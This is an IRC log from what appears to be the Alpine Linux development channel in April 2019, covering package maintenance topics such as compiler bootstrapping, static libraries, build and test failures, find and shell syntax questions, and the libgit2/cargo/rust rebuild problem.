2019-04-18 10:36:34 <ncopa> https://warehouse.pypa.io/api-reference/integration-guide/#if-you-so-choose
2019-04-18 10:36:46 <ncopa> says that the predictable urls we are using are valid
2019-04-18 10:38:24 <ncopa> heh... seems like armv7 is done with python 3.7 rebuilds
2019-04-18 10:38:41 <_ikke_> \o/
2019-04-18 10:50:45 <tcely> Does the build log not include checkapk output?
2019-04-18 10:51:49 <_ikke_> I don't think abuild runs checkapk
2019-04-18 10:52:30 <_ikke_> I can't find it being mentioned in the source
2019-04-18 10:53:32 <tcely> Hmm. I was hoping the official builders had that output saved.
2019-04-18 10:56:13 <kmaxwell> there's been a bit more activity on that issue, hopefully they look into it
2019-04-18 10:57:26 <kmaxwell> https://tpaste.us/kZdb is me taking a look at what using the API might look like for us
2019-04-18 11:05:48 <ncopa> kmaxwell: i dont want go that route
2019-04-18 11:06:25 <kmaxwell> ncopa: neither do I!
2019-04-18 11:06:35 <kmaxwell> I wanted to see what it looked like, it doesn't look good
2019-04-18 11:06:46 <ncopa> yeah
2019-04-18 11:07:06 <kmaxwell> tried pygit2 and it gives a tonne of urls, messy is the word for that route
2019-04-18 11:10:21 <ncopa> ok , looks like more people are having issue with this
2019-04-18 11:14:23 <kmaxwell> looking for a silver lining, I've learnt the the pypi.io/packages are just an extra layer of redirects over files.pythonhosted.org
2019-04-18 11:20:31 <kmaxwell> slightly similarly the upstream for community/dash has been down since yesterday
2019-04-18 11:26:05 <mps> main/gc need static libs in gc-dev. patch is here https://patchwork.alpinelinux.org/patch/4808/
2019-04-18 11:27:37 <ncopa> mps: what is static libs needed for?
2019-04-18 11:28:17 <ncopa> looks like a dupe of https://github.com/alpinelinux/aports/pull/6970
2019-04-18 11:29:19 <mps> ncopa: I know it is needed for crystal
2019-04-18 11:29:56 <ncopa> i pushed the PR which was 11 days old
2019-04-18 11:30:41 <mps> eh, this is PR from j8r, crystal developer, I have nice chats with him from time to time
2019-04-18 11:31:28 <mps> this PR looks it is for older version of gc
2019-04-18 11:33:11 <mps> uhm, no, it looks ok. I'm don't know how to follow this on github
2019-04-18 11:35:30 <ncopa> i have a tool `aports-ghpr`
2019-04-18 11:35:59 <ncopa> which will search github pull requests of the package you are in
2019-04-18 11:36:07 <ncopa> directory you are in
2019-04-18 11:36:29 <mps> did you released it
2019-04-18 11:36:42 <ncopa> its in testing/aports-ghpr
2019-04-18 11:36:42 <_ikke_> it's available in the repositories
2019-04-18 11:37:01 <mps> will look right now
2019-04-18 11:37:20 <ncopa> i wish i has something similar for patchwork
2019-04-18 11:37:40 <ncopa> but i havent cared enough since we are replacing patchwork
2019-04-18 11:38:35 <kmaxwell> what is the replacement for patchwork? GitLab?
2019-04-18 11:39:19 <mps> I hope we will not wait to long for gitlab
2019-04-18 11:39:53 <mps> kmaxwell: yes, some people from infra team works on gitlab for Alpine
2019-04-18 12:40:16 <mps> could package makedepends on self, and if how
2019-04-18 13:42:44 <ncopa> wouldnt that be a circular dependency?
2019-04-18 13:47:52 <mps> I meant, previous version of self, sorry for ambiguous question
2019-04-18 13:55:40 <ncopa> i think we do that with go and rust
2019-04-18 13:55:47 <ncopa> we have a go-bootstram
2019-04-18 13:55:51 <ncopa> go-bootstrap
2019-04-18 13:56:07 <ncopa> and the go package itself has a provides="go-bootstrap"
2019-04-18 13:57:04 <SpaceToast> rust doesn't have that, I think
2019-04-18 13:57:20 <SpaceToast> looks like it might be necessary to do rust "one step at a time", which'd explain why
2019-04-18 13:59:44 <mps> I know this for rust, but for some reason I can't get same to work for crystal
2019-04-18 14:00:58 <mps> 'abuild deps' ignores 'crystal=0.27.2' when trying to build 0.28.0
2019-04-18 14:01:17 <SpaceToast> you usually have to give it a different name
2019-04-18 14:01:20 <SpaceToast> like with go-bootstrap
2019-04-18 14:02:04 <mps> ah, could be, thanks for hint
2019-04-18 14:02:38 <_ikke_> mps: https://git.alpinelinux.org/aports/tree/community/ghc/APKBUILD#n34
2019-04-18 14:02:46 <mps> I'll rather try to build crystal-static apk
2019-04-18 14:03:44 <mps> _ikke_: thanks, nice example
2019-04-18 16:07:38 <Shiz> btw 3.9.3 rpi image is broken for an rpi2
2019-04-18 16:07:41 <Shiz> 3.9.0 worked
2019-04-18 16:08:35 <artok> I think that was already reported (and known) bug
2019-04-18 16:42:18 <mps> I'm thinking to enable ead (Ethernet authentication daemon) in community/iwd, 802.1x for wired Ethernet, although it is not tested thoroughly
2019-04-18 16:42:50 <mps> any comment or suggestion about this?
2019-04-18 18:30:07 <tcely> is TravisCI just not able to use ftp?
2019-04-18 19:00:59 <mps> anyone with community push right have time to review iwd upgrade and push. patch is here https://patchwork.alpinelinux.org/patch/4809/
2019-04-18 21:29:08 <tcely> pr7126 Any strong opinions on libltdl-static ??
2019-04-18 21:31:12 <SpaceToast> no opinions on the specific thing, but I would love to see all libraries to have -static versions available
2019-04-18 21:32:44 <SpaceToast> (static linking is crucial in many applications, the upstream favorite in others (e.g lua) and simply technologically superior in yet more; it's understandable for distro end-user packages to be dynamically linked, but for developers, having -static versions of various libs is very important :) )
2019-04-18 21:50:15 <artok> um.. -dev packages should have static libs ?
2019-04-18 21:51:22 <artok> because devs need the headers from that package anyway
2019-04-18 21:54:26 <SpaceToast> hmm, makes sense
2019-04-18 21:54:36 <SpaceToast> but I mean that I'd love to have the .a files available in general
2019-04-18 21:54:56 <SpaceToast> then again, some people might want just the headers
2019-04-18 21:55:10 <SpaceToast> so maybe -static, with an install_if in -dev
2019-04-18 21:55:17 <SpaceToast> (i.e if you want -static, you also want -dev)
2019-04-18 22:27:21 <danieli> py3-hbmqtt fails tests on x86 for god knows what reason, it's complaining about too many connection attempts and connections being reset
2019-04-18 22:27:40 <danieli> salt fails on s390x because it's missing the py3-zmq dependency
2019-04-19 01:07:47 <tcely> https://github.com/alpinelinux/abuild/pull/58 needs to be reviewed
2019-04-19 01:18:32 <tcely> Did anyone find any issues while testing https://github.com/alpinelinux/abuild/pull/57 ?
2019-04-19 02:22:36 <[[sroracle]]> tcely: it should probably not be using wget
2019-04-19 07:31:46 <tcely> [[sroracle]]: how do you mean? wget was already being used in sourcecheck
2019-04-19 11:33:33 <Greg8394> Will the next release include GCC 9 and Clang 8?
2019-04-19 11:35:12 <Greg8394> Ubuntu 19.04 just did the upgrade
2019-04-19 11:35:55 <danieli> what do you think ncopa?
2019-04-19 11:41:22 <Greg8394> LLVM 7.0 has a major bug that is fixed in 8.0
2019-04-19 11:41:27 <Greg8394> https://bugs.llvm.org/show_bug.cgi?id=39427
2019-04-19 12:17:48 <mps> I told earlier that llvm7.0.x is not in good state to be included till they fix it
2019-04-19 12:18:54 <mps> yesterday I encountered issue with it trying to build crystal
2019-04-19 12:21:47 <mps> and even llvm6 in edge make me a some problems, but didn't investigated it deeply, yet
2019-04-19 12:29:08 <artok> +1 for llvm 8.0
2019-04-19 14:33:57 <_ikke_> https://github.com/alpinelinux/aports/pull/7130/files minor go upgrade should be pretty harmless, right?
2019-04-19 14:42:30 <tcely> patch upgrade should be safe
2019-04-19 14:48:31 <tcely> >>> WARNING: knot-resolver4-dev*: Could not find any provider for pc:lmdb
2019-04-19 14:48:31 <tcely> >>> WARNING: knot-resolver4-dev*: lmdb-dev needs to be rebuilt
2019-04-19 14:48:31 <tcely> >>> WARNING: knot-resolver4-dev*: Could not find any provider for pc:luajit
2019-04-19 14:48:31 <tcely> >>> WARNING: knot-resolver4-dev*: luajit-dev needs to be rebuilt
2019-04-19 14:49:00 <tcely> FYI I saw that when building knot-resolver4
2019-04-19 15:33:40 <mps> _ikke_: do you have time to look at iwd fixes I posted yesterday https://patchwork.alpinelinux.org/patch/4809/
2019-04-19 15:36:30 <_ikke_> in a moment
2019-04-19 15:38:02 <mps> no need to hurry, whenever you have time
2019-04-19 16:11:09 <ncopa> danieli: i think its too late for gcc-9. probably better to do that right after the 3.10 release
2019-04-19 16:11:16 <ncopa> llvm8 should be doable though
2019-04-19 16:12:06 <SpaceToast> ncopa: anything on https://bugs.alpinelinux.org/issues/9978 ?
2019-04-19 16:22:52 <ncopa> not today
2019-04-19 16:23:42 <SpaceToast> ok, just reminding that it's a thing :)
2019-04-19 16:24:02 <ncopa> i will probably need another reminder later :)
2019-04-19 16:24:17 <ncopa> and i had completely forgotten it is a thing :)
2019-04-19 16:24:20 <SpaceToast> ^^
2019-04-19 16:24:22 <SpaceToast> any preferred time?
2019-04-19 16:24:53 <ncopa> i think some time after I have got the 3.10 builders up
2019-04-19 16:25:02 <ncopa> i can probably look at it while 3.10 is building
2019-04-19 16:25:04 <SpaceToast> okay, I'll try and keep attention to that
2019-04-19 16:25:14 <SpaceToast> ... my english much good today wao
2019-04-19 16:25:31 <ncopa> im hoping to work on the 3.10 builders next week
2019-04-19 16:25:48 <ncopa> may want do llvm8 too
2019-04-19 16:26:42 <SpaceToast> getting llvm8 would be nice
2019-04-19 17:55:11 <artok> boost 1.70 should be straightforward
2019-04-19 18:17:54 <tcely> artok: Are those famous last words?
2019-04-19 18:18:49 <tcely> I'd love to see pr6265 merged before 3.10
2019-04-19 18:19:58 <tcely> pr6890 should probably also be included in that release since the EOL for 9.12 is coming up
2019-04-19 18:20:58 <tcely> I'll be back in a bit
2019-04-19 18:41:58 <mps> need help, what does ':+"' after variable in APKBUILD means, I'm not proficient in shell programming
2019-04-19 18:42:24 <mps> full line is:  FLAGS = --verbose --target $CTARGET ${BUILD_STATIC:+"--link-flags=-no-pie"}
2019-04-19 19:24:56 <hpagseddy[m]> why you guys didnt compile aisleriot for alpine?
2019-04-19 19:27:14 <mps> hpagseddy[m]: you can fill issue at bugs.a.o with request for package and give there more information and elaborate your request
2019-04-19 19:27:53 <hpagseddy[m]> where can i fill a form
2019-04-19 19:28:43 <mps> https://bugs.alpinelinux.org as algitbot told
2019-04-19 19:29:18 <hpagseddy[m]> ok so i need to open an account right?
2019-04-19 19:30:35 <mps> I think it is possible as anonymous, not sure
2019-04-19 19:31:16 <mps> try and see
2019-04-19 19:31:48 <mps> but if you want to receive mail and follow your issue/s it good idea to open account
2019-04-19 20:47:50 <tcely> mps: ${parameter:+[word]}
2019-04-19 20:47:50 <tcely> Use Alternative Value. If parameter is unset or null, null shall be substituted; otherwise, the expansion of word (or an empty string if word is omitted) shall be substituted.
2019-04-19 20:49:16 <tcely> From: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02
2019-04-19 20:52:10 <mps> tcely: thanks, I thought something like this. This is posix?
2019-04-19 20:52:24 <tcely> yep
2019-04-19 20:52:48 <mps> will read text on url you posted
2019-04-19 20:55:52 <tcely> There's not much more to it. Unset ($some_random_variable_abcdef) or empty (foo=; $foo) will be replaced with the empty string. (foo=value) ${foo:+$foo} replaces with value.
2019-04-19 20:56:21 <tcely> I typically use this kind of expansion to put a delimiter into a list except for the fist time.
2019-04-19 20:57:09 <tcely> mylist="${mylist:+,}${nextval}"
2019-04-19 20:57:20 <tcely> mylist="${mylist:+$mylist,}${nextval}"
2019-04-19 20:57:26 <hpagseddy[m]> <mps "I think it is possible as anonym"> i didnt find that
2019-04-19 20:57:33 <hpagseddy[m]> *couldnt
2019-04-19 20:58:02 <mps> tcely: and they tell that the perl is cryptic :)
2019-04-19 20:58:44 <mps> hpagseddy[m]: did you tried, 'new issue' tab
2019-04-19 20:59:09 <tcely> sh programmers came up with most confusing perl things ;-)
2019-04-19 21:00:18 <hpagseddy[m]> mps: where is it
2019-04-19 21:00:35 <mps> https://bugs.alpinelinux.org/projects/alpine/issues/new
2019-04-19 21:01:13 <tcely> I think anonymous issue creation was turned off
2019-04-19 21:01:33 <_ikke_> Yes, it was
2019-04-19 21:01:44 <hpagseddy[m]> there is a prompt for log in or sign up mps
2019-04-19 21:02:35 <mps> hpagseddy[m]: sorry, authoritative man says annon couldn't post issue
2019-04-19 21:03:07 <mps> but it was allowed earlier, iirc
2019-04-19 21:03:08 <hpagseddy[m]> can you make an issue for me?
2019-04-19 21:03:17 <_ikke_> The reason was that we got too many anoymous drive-by issues where people were not responding anymroe and no way to contact
2019-04-19 21:03:42 <mps> hpagseddy[m]: give the url of required package
2019-04-19 21:04:18 <hpagseddy[m]> https://gitlab.gnome.org/GNOME/aisleriot/
2019-04-19 21:04:19 <_ikke_> hpagseddy[m]: the answer to the question: "Why didn't you package" is mostly one of two reasons: 1. No one needed it yet. 2. There were issues building it
2019-04-19 21:05:41 <mps> card game?
2019-04-19 21:05:43 <hpagseddy[m]> this is probably 1.
2019-04-19 21:05:48 <hpagseddy[m]> yes
2019-04-19 21:06:29 <_ikke_> hpagseddy[m]: one way to get it packaged is to provide a PR with the APKBUILD if you think you can do that
2019-04-19 21:07:28 <hpagseddy[m]> i tried it and couldnt have compiled properly
2019-04-19 21:07:50 <mps> do we have games in Alpine at all?
2019-04-19 21:08:11 <SpaceToast> mps: nethack is in
2019-04-19 21:08:20 <SpaceToast> I have plans to potentially add dcss as well
2019-04-19 21:08:43 <hpagseddy[m]> <mps "do we have games in Alpine at al"> no, thats why we need one. To keep you sanity while computing/compiling
2019-04-19 21:09:11 <_ikke_> hpagseddy[m]: our games are getting projects properly built
2019-04-19 21:09:51 <hpagseddy[m]> but sometimes it is not funny
2019-04-19 21:10:46 <mps> doesn't look complicated to build
2019-04-19 21:11:34 <mps> but now I'm building crystal and don't have time
2019-04-19 21:12:22 <hpagseddy[m]> please take a look at that too when you have free time
2019-04-19 21:13:33 <mps> ok, will try
2019-04-19 21:26:26 <mps> huh, build deps is 201 pkg's
2019-04-19 21:27:04 <mps> for a simple card playing game :/ where we heading
2019-04-19 21:37:58 <mps> hpagseddy[m]: aisleriot requires a lot of gnome tools with which I'm not familiar
2019-04-19 21:39:14 <mps> I can post APKBUILD where my knowledge about gnome is fade, if anyone want to continue
2019-04-20 11:03:39 <_ikke_> Why does 'find pkg -type f -exec ls {} -l +' work with busybox find, but not with findutil find?
2019-04-20 11:04:04 <_ikke_> It appears that findutils find does not accept anything between the {} and +
2019-04-20 11:04:39 <detha> and with ... ls -l {} \;   ?
2019-04-20 11:05:38 <_ikke_> that does work
2019-04-20 11:06:23 <_ikke_> the ls version is just a test command. The actual command uses mv, where the argument is the first param
2019-04-20 11:06:39 <_ikke_> -exec mv {} dest +
2019-04-20 11:06:57 <_ikke_> which busybox find accepts, but findutils find doesn't
2019-04-20 11:07:40 <_ikke_> I think this is what's going on: "but the command line is built by appending each selected file name at the end;"
2019-04-20 11:07:51 <detha> I guess the + is a busybox addition, I have never seen it used before
2019-04-20 11:15:35 <HRio> seems cargo in @edge is not installable, needs libgit2.so.27 but we have libgit2.so.28, guess we need to bump rust pkgrel to trigger a rebuild
2019-04-20 11:24:21 <tcely> detha: + is in gnu find too
2019-04-20 11:24:58 <tcely> Maybe you want mv -t dest src1 src2
2019-04-20 11:25:25 <tcely> Install coreutils and findutils
2019-04-20 11:38:14 <detha> ah, forgot about mv -t, then 'find ... -print0 | xargs -0 mv -t dest' would be better
2019-04-20 14:09:35 <SpaceToast> no, + is standard
2019-04-20 14:09:45 <SpaceToast> _ikke_: the meaning of + and \; is different
2019-04-20 14:09:49 <SpaceToast> with mv you want \;
2019-04-20 14:10:04 <SpaceToast> + means "use a single invocation, put all of the {}s in place", \; means "one invocation per arg"
2019-04-20 14:10:16 <SpaceToast> so you might have more than one file that matches, at which point find would fail
2019-04-20 14:23:49 <_ikke_> I know the meaning is different
2019-04-20 14:24:05 <_ikke_> mv is able to take multiple files to move into one destination
2019-04-20 14:24:09 <_ikke_> so + should be possible
2019-04-20 14:24:40 <_ikke_> but I learned that gnu find requires the {} to be the last argument, while busybox find doesn't
2019-04-20 14:25:22 <SpaceToast> aha
2019-04-20 14:25:58 <SpaceToast> that's standard too, turns out
2019-04-20 14:26:06 <_ikke_> (in case that you use +)
2019-04-20 14:26:12 <_ikke_> if you use \;, it doesn't matter
2019-04-20 14:26:15 <SpaceToast> `that immediately follows an argument containing only the two characters "{}" shall punctuate the end of the primary expression. Other uses of the <plus-sign> shall not be treated as special.`
2019-04-20 14:26:21 <SpaceToast> yeah, it's in the posix spec
2019-04-20 14:26:23 <SpaceToast> not sure why
2019-04-20 14:26:29 <_ikke_> alright, so busybox is not compliant then
2019-04-20 14:26:38 <SpaceToast> I'd say I agree with the busybox implementation though
2019-04-20 14:26:43 <SpaceToast> but yes, it isn't compliant
2019-04-20 14:26:44 <_ikke_> practically
2019-04-20 14:26:48 <_ikke_> I prefer that, yes
2019-04-20 14:31:05 <hpagseddy[m]> mps: what about a more basic one? Anything that have spider solitaire will ok for me
2019-04-20 14:56:41 <mps> hpagseddy[m]: something like this https://github.com/nielssp/csol
2019-04-20 14:57:41 <hpagseddy[m]> is it playable with mouse?
2019-04-20 14:58:27 <mps> don't know really, just have seen it
2019-04-20 14:59:04 <mps> and noticed that we don't have board game in Alpine, like gnugo or chess
2019-04-20 14:59:27 <mps> probably will package gnugo
2019-04-20 15:06:40 <mps> all these GUI games need some heavy desktop files and libraries, and this is not field where I have good experience
2019-04-20 15:07:25 <mps> _ikke_: I see you are active right now, so I'm again tiresome about iwd
2019-04-20 15:07:57 <_ikke_> yes, I wanted to do that earlier, but I was working on mtd-utils, which is giving me trouble
2019-04-20 15:08:28 <mps> I see, I will look at build logs right now
2019-04-20 15:08:34 <_ikke_> thanks
2019-04-20 15:08:55 <_ikke_> I just got it to spew the test-suit log so that we can actually see what's going wrong
2019-04-20 15:09:20 <_ikke_> "tests/unittests/test_lib.h:37: error: Check of parameter fd, function __wrap_close failed"
2019-04-20 15:09:20 <mps> I see, it fails on test
2019-04-20 15:09:23 <_ikke_> yes
2019-04-20 15:11:13 <mps> it fails on warnings
2019-04-20 15:12:26 <mps> tests/checkfs/comm.c:37:5: warning: no previous prototype for 'do_pwr_dn'
2019-04-20 15:12:51 <mps> missing or not included header file(s)
2019-04-20 15:13:11 <_ikke_> It works when I build it locally, but not on the builders
2019-04-20 15:15:08 <mps> eh, just started building locally :(
2019-04-20 15:15:32 <mps> and yes, it passed
2019-04-20 15:16:08 <mps> do builders need upgrade, maybe?
2019-04-20 15:16:24 <SpaceToast> it might mean that you have something installed locally that's needed but the builders don't have
2019-04-20 15:16:47 <_ikke_> yes
2019-04-20 15:17:07 <mps> no, they show same warnings locally but doesn't think this is fail
2019-04-20 15:18:18 <mps> # TOTAL: 2 \n # PASS:  2
2019-04-20 15:20:19 <_ikke_>     20 [  ERROR   ] --- 0x6 != 0x3
2019-04-20 15:20:21 <_ikke_>     21 tests/unittests/test_lib.h:37: error: Check of parameter fd, function __wrap_close failed
2019-04-20 15:20:23 <_ikke_>     22 tests/unittests/libubi_test.c:25: note: Expected parameter declared here
2019-04-20 15:20:25 <_ikke_>     23 [   LINE   ] --- tests/unittests/test_lib.h:37: error: Failure!
2019-04-20 15:20:27 <_ikke_> this is what's failing
2019-04-20 15:40:44 <mps> _gitchecksum?
2019-04-20 15:41:56 <mps> no, it didn't help
2019-04-20 15:44:53 <mps> anyway, it seems that _githash should be "bce86d06d6ed2c03d0a0088a3c96a7a6e5e431db"
2019-04-20 15:45:26 <_ikke_> A different version?
2019-04-20 15:46:57 <hpagseddy[m]> at least i know how to play that
2019-04-20 15:47:03 <hpagseddy[m]> <mps "probably will package gnugo"> please do chess
2019-04-20 15:47:47 <mps> _ikke_: http://git.infradead.org/mtd-utils.git
2019-04-20 15:48:02 <mps> look at snapshots
2019-04-20 15:49:00 <_ikke_> I see
2019-04-20 15:49:01 <mps> hpagseddy[m]: I hope I will not forgot about these, but first have to find some free time
2019-04-20 15:50:00 <mps> not sure if it will pass builders, but _githash "bce86d06d6e.." passed on my lxc
2019-04-20 15:53:43 <_ikke_> mps: Ah, one is the tag, the other the commit
2019-04-20 15:53:45 <_ikke_> both are valid
2019-04-20 15:55:33 <_ikke_> http://git.infradead.org/mtd-utils.git/tag/refs/tags/v2.1.0
2019-04-20 15:58:54 <mps> ah, looks like both works, hmm
2019-04-20 15:59:41 <_ikke_> I guess we have to disable checks on mpd-utils for the time being..
2019-04-20 15:59:51 <mps> huh, don't have any idea, instead of last resort: !check :)
2019-04-20 15:59:51 <_ikke_> s/mpd/mtd
2019-04-20 15:59:51 <alpine-meetbot> _ikke_ meant to say: I guess we have to disable checks on mtd-utils for the time being..
2019-04-20 16:00:01 <_ikke_> mps: indeed
2019-04-20 16:00:10 <mps> heh, same conclusion
2019-04-20 16:00:30 <mps> but we can confirm test pass on 'real' boxes
2019-04-20 16:00:58 <_ikke_> ideally they should be able to run on the builders as well
2019-04-20 16:00:59 <mps> I mean, 'abuild -r' pass
2019-04-20 16:01:40 <mps> ok, going to cup of coffee
2019-04-20 16:02:56 <_ikke_> doesn't sound like a bad plab
2019-04-20 16:02:58 <_ikke_> plan
2019-04-20 16:48:57 <_ikke_> mps: You mean this one, right? https://patchwork.alpinelinux.org/patch/4809/
2019-04-20 16:56:16 <_ikke_> mps: I gather these patches come from upstream, correct?
2019-04-20 16:59:30 <mps> _ikke_: yes, I advised from upstream to add these patches
2019-04-20 17:00:14 <mps> and not only, they advised all distro maintainers, because they don't have plan to release new version soon
2019-04-20 17:00:30 <_ikke_> Right, will do so
2019-04-20 17:01:17 <mps> yes, these are auth fixes
2019-04-20 17:04:07 <_ikke_> mps: pushed
2019-04-20 17:07:54 <mps> I see, thanks. let's will it pass builders
2019-04-20 17:08:13 <_ikke_> It does
2019-04-20 17:10:44 <mps> yes, I see. thanks again
2019-04-20 17:46:48 <_ikke_> tcely: pdns-recursor is still failing on s390x
2019-04-20 17:47:12 <tcely> _ikke_: I guess we'll need to disable it again
2019-04-20 17:47:21 <_ikke_> Yes
2019-04-20 17:47:26 <_ikke_> I can just push it
2019-04-20 17:47:56 <_ikke_> https://build.alpinelinux.org/buildlogs/build-edge-s390x/community/pdns-recursor/pdns-recursor-4.1.12-r2.log
2019-04-20 17:48:05 <tcely> Please make sure your commit contains the error
2019-04-20 17:48:25 <_ikke_> yes, I always add the error
2019-04-20 17:50:21 <_ikke_> https://tpaste.us/P0Xy
2019-04-20 18:01:38 <tcely> _ikke_: https://github.com/alpinelinux/aports/pull/7151
2019-04-20 18:03:39 <_ikke_> pushed
2019-04-20 18:03:42 <tcely> thanks
2019-04-20 18:15:49 <tcely> does s390x reporting uploaded mean anything since it was disabled there?
2019-04-20 18:31:28 <_ikke_> It just means it's finished building
2019-04-20 18:31:48 <_ikke_> upload is a noop in that case
2019-04-20 18:40:19 <mps> hpagseddy[m]: gnuchess and xboard doesn't looks complicated to package
2019-04-20 19:11:17 <SpaceToast> _ikke_: don't worry I'll be bumping minio soon, I'm just taking a break this weekend :)
2019-04-20 19:11:34 <SpaceToast> (probably Monday, morning or evening depending on when I wake up)
2019-04-20 19:12:19 <_ikke_> SpaceToast: no worry
2019-04-20 19:12:28 <SpaceToast> (but yeah, I did notice the response and all :) )
2019-04-20 20:29:41 <tcely> Please push pr7134 when you have a moment
2019-04-20 20:33:23 <mps> hpagseddy[m]: https://patchwork.alpinelinux.org/patch/4811/ and https://patchwork.alpinelinux.org/patch/4812/
2019-04-20 20:33:40 <mps> you can build them yourself and install
2019-04-20 20:55:08 <ageis> what's the purpose of patch-kernelver.xz -- it's just a diff from the previous version?
2019-04-20 21:09:15 <mps> ageis: it should be a patch from the base major release, i.e. 4.19 is base and patch-4.19.10 is diff to 4.19.10
2019-04-20 21:10:28 <mps> this looks like Arch Linux kernel PKGBUILD
2019-04-20 23:38:31 <ageis> gotcha
2019-04-21 11:35:10 <hpagseddy[m]> mps: Thank you! I wish there would be a solitaire but that is ok too
2019-04-21 11:56:56 <mps> hpagseddy[m]: yw, did you built it? do they work?
2019-04-21 11:57:20 <hpagseddy[m]> not yet, i but i will try
2019-04-21 11:58:07 <mps> I suspect that the xboard have bugs or issue but not sure
2019-04-21 11:59:31 <mps> if you know for solitaire game which doesn't depend on complicated DE libs I could try to make APKBUILD for it
2019-04-21 13:24:32 <zava> :window splitv
2019-04-21 13:33:27 <_ikke_> wrong window ;-)
2019-04-21 16:00:32 <mps> how to name static version of compiler which is needed to bootstrap new version of self? $name-static? speaking abuit crystal lang, I want to add statically linked apk
2019-04-21 16:01:14 <SpaceToast> $name-static sounds reasonable to me
2019-04-21 16:01:24 <SpaceToast> but it's usually for general static linking (e.g busybox-static)
2019-04-21 16:01:33 <SpaceToast> for bootstrapping, it's usually $name-version or $name-boostrap
2019-04-21 16:01:35 <SpaceToast> see:
2019-04-21 16:01:44 <mps> yes, that is the reason for my doubth
2019-04-21 16:01:51 <SpaceToast> go-bootstrap and gcc6
2019-04-21 16:02:00 <SpaceToast> is the static version older than the current version?
2019-04-21 16:02:08 <mps> I thought also about bootstrap, but not sure
2019-04-21 16:02:24 <SpaceToast> if it's older, I'd call it $name-bootstrap; if it's up to date, I'd call it $name-static, imo
2019-04-21 16:03:15 <mps> yes, static is older usually but not necessarily
2019-04-21 16:03:42 <mps> it could be used to rebuild same version of self
2019-04-21 16:05:19 <mps> $name-static could be somewhat misleading, some could think it is usable as compiler for other source files but it is not
2019-04-21 16:12:16 <_ikke_> I think the purpose is more important than the way it's achieved
2019-04-21 16:12:24 <_ikke_> so $pkgname-bootstrap would make more sense
2019-04-21 16:15:14 <mps> so, will try with this naming. thank you both for help
2019-04-21 19:26:13 <mps> how can package and subpackage be set to conflict on each other
2019-04-21 19:39:53 <mps> hmm, according to 'man APKBUILD' there is no conflicts field
2019-04-21 19:40:45 <mps> but main/vim have it in subpackage gvim
2019-04-21 19:42:05 <_ikke_> A combination of provides and replaces I believe
2019-04-21 19:42:39 <mps> according to 'man APKBUILD' seems like you are right
2019-04-21 19:45:34 <mps> will read again and try to understand it
2019-04-22 00:59:39 <ddevault> anyone know where I can read up on good practices for writing openrc scripts?
2019-04-22 00:59:55 <SpaceToast> ddevault: https://github.com/OpenRC/openrc/blob/master/service-script-guide.md
2019-04-22 01:00:04 <ddevault> and what's the preferred way of creating uids/gids on package installation
2019-04-22 01:00:07 <SpaceToast> also now that we have a newer openrc, also https://github.com/OpenRC/openrc/blob/master/supervise-daemon-guide.md
2019-04-22 01:00:15 <SpaceToast> post-install scripts iirc
2019-04-22 01:00:18 <SpaceToast> lots of examples to go around
2019-04-22 01:00:24 <ddevault> aye, post-install scripts
2019-04-22 01:00:29 <SpaceToast> if you need help feel free to ask me (though do expect some latency)
2019-04-22 01:00:30 <ddevault> but they aren't the most consistent in this respect...
2019-04-22 01:01:05 <SpaceToast> if you're looking for a generic standard, you can look at the minio package (for post-install; I still want to improve the openrc script at some point)
2019-04-22 01:01:30 <ddevault> doesn't look like that assigns a known gid/uid
2019-04-22 01:01:36 <ddevault> it just lets addgroup/adduser decide
2019-04-22 01:02:50 <SpaceToast> oh, you mean a *specific* gid/uid
2019-04-22 01:03:01 <SpaceToast> letting addgroup/adduser decide is the typical way of doing it though, yes
2019-04-22 01:03:16 <ddevault> do you then use the post-install to reassign ownership of things to that uid/gid?
2019-04-22 01:03:29 <ddevault> or first run of the init script I think I've seen done before
2019-04-22 01:03:34 <SpaceToast> first run of the initscript
2019-04-22 01:03:39 <SpaceToast> openrc has a specific utility for that, even
2019-04-22 01:03:43 <SpaceToast> (checkpath I think?)
2019-04-22 01:03:59 <ddevault> man, the openrc docs suck
2019-04-22 01:04:12 <SpaceToast> not the only thing that sucks about it
2019-04-22 01:04:16 <ddevault> true
2019-04-22 01:04:18 <SpaceToast> I've considered forking it a few times to fix it up
2019-04-22 01:04:25 <SpaceToast> (since I think it's the right overall direction)
2019-04-22 01:04:27 <ddevault> all init managers suck
2019-04-22 01:04:31 <SpaceToast> but that's just too much work for me right now
2019-04-22 01:05:17 <SpaceToast> (basically, I don't have it in me to consistently maintain it afterwards, but I also don't want to deal with Hubbs re: patches and keeping the state of things in a good shape afterwards through him)
2019-04-22 02:32:09 <clandmeter> wtf, does rust seriously need cargo to build?
2019-04-22 02:33:00 <maxice8[m]> yes
2019-04-22 02:35:33 <clandmeter> oh this is painful
2019-04-22 02:36:07 <maxice8[m]> very, Rust in general is
2019-04-22 02:36:10 <clandmeter> cargo depends on libgit2 and libgit2 just changed soname...
2019-04-22 02:36:21 <ddevault> lovely
2019-04-22 02:36:28 <clandmeter> so i need to rebuild cargo
2019-04-22 02:36:36 <clandmeter> which is rust
2019-04-22 02:36:42 <clandmeter> which depends on cargo
2019-04-22 02:36:44 <clandmeter> what fun
2019-04-22 02:38:15 <clandmeter> and ddevault you upgarded libgit2, so its all your faulth :p
2019-04-22 02:38:39 <maxice8[m]> I gave up on trying to rebuild so i just made libgit2-0.27 on Void Linux
2019-04-22 02:38:44 <ddevault> I landed a patch in that upgrade, I'll have you know
2019-04-22 02:38:46 <ddevault> I actually needed it!
2019-04-22 04:31:26 <_ikke_> clandmeter: THat's what jirutka has been strugling with
2019-04-22 05:16:58 <clandmeter> _ikke_: do you know how he worked around it?
2019-04-22 05:22:29 <clandmeter> i think currently the only remote way around it is to push libgit2-0.27 rebuild rust and remove it again.
2019-04-22 05:22:38 <clandmeter> maxice8[m]: do you maintain rust on void?
2019-04-22 05:22:59 <maxice8[m]> clandmeter: No i just happened to cross paths with it while bumping libgit2
2019-04-22 05:23:14 <clandmeter> ah ok
2019-04-22 05:23:36 <clandmeter> i think anything that is a dep of cargo will break it.
2019-04-22 05:23:39 <maxice8[m]> If you want the Void Linux Rust maintainers then jnbr and gottox on #xbps
2019-04-22 05:24:05 <clandmeter> right, Gottox is also here :)
2019-04-22 06:01:20 <_ikke_> clandmeter: No, I don't
2019-04-22 09:19:32 <ncopa> ddevault: #10308
2019-04-22 10:18:39 <HRio> void and debian seems to build cargo from a separate source package https://github.com/void-linux/void-packages/blob/master/srcpkgs/cargo/template https://salsa.debian.org/rust-team/cargo
2019-04-22 10:19:46 <ncopa> looks like they use precompile brinaries
